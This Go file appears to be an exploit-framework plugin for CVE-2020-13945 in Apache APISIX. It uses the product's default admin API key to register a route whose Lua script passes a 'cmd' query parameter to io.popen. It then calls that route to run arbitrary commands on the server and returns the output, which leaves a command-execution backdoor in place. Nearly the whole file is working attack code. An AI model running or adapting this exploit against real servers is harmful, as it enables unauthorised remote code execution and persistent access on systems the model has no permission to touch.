CVE-2020-13945
package CVE_2020_13945
import (
"context"
"expgo/plugins/api/req"
"expgo/plugins/api/types"
"expgo/plugins/api/util"
"fmt"
"net/url"
"time"
"log"
)
var (
pluginType = "custom"
vulType = "rce"
name = "CVE-2020-13945"
component = "apisix"
author = "akkuman"
description = "Apache APISIX is a dynamic, real-time, high-performance API gateway. Apache APISIX has a default built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access all the admin API, which leads to the remote LUA code execution through the script parameter added in the 2.x version."
references = []string{
"https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945",
}
tags = []string{
"apisix",
"rce",
}
)
var opts = types.NewOptions()
func init() {
opts.String("target", true, "target", "", func(i interface{}) bool {
target := i.(string)
_, err := url.Parse(target)
return err == nil
})
opts.String("cmd", true, "command", "id")
}
func exploit(ctx context.Context, params map[string]interface{}) types.PluginResult {
c := req.NewHttpClient(ctx)
route := fmt.Sprintf("/%s", util.GetUUID())
log.Println("准备插入payload...")
resp, err := c.R().
SetHeader("X-API-KEY", "edd1c9f034335f136f87ad84b625c8f1").
SetHeader("Content-Type", "application/json").
SetBody(map[string]interface{}{
"uri": route,
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": map[string]interface{}{
"type": "roundrobin",
"nodes": map[string]interface{}{"example.com:80": 1},
},
}).Post(util.URLJoin(params["target"].(string), "/apisix/admin/routes"))
if err != nil {
panic(err)
}
if resp.StatusCode() != 201 {
panic("插入失败")
}
log.Printf("成功插入payload, 开始执行命令\n")
vulURL := util.URLJoin(params["target"].(string), route)
reqCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
resp, err = c.R().SetContext(reqCtx).
SetQueryParam("cmd", params["cmd"].(string)).
Get(vulURL)
if reqCtx.Err() != nil {
log.Printf("命令执行url: %s?cmd=xxx", vulURL)
log.Println("命令执行成功或超时")
return types.HitPluginResult
}
if err != nil {
log.Println(err)
return types.MissPluginResult
}
if resp.StatusCode() != 200 {
log.Println("执行命令失败")
return types.MissPluginResult
}
log.Printf("命令执行url: %s?cmd=xxx", vulURL)
log.Printf("命令执行结果: %s\n", resp.String())
return types.HitPluginResult
}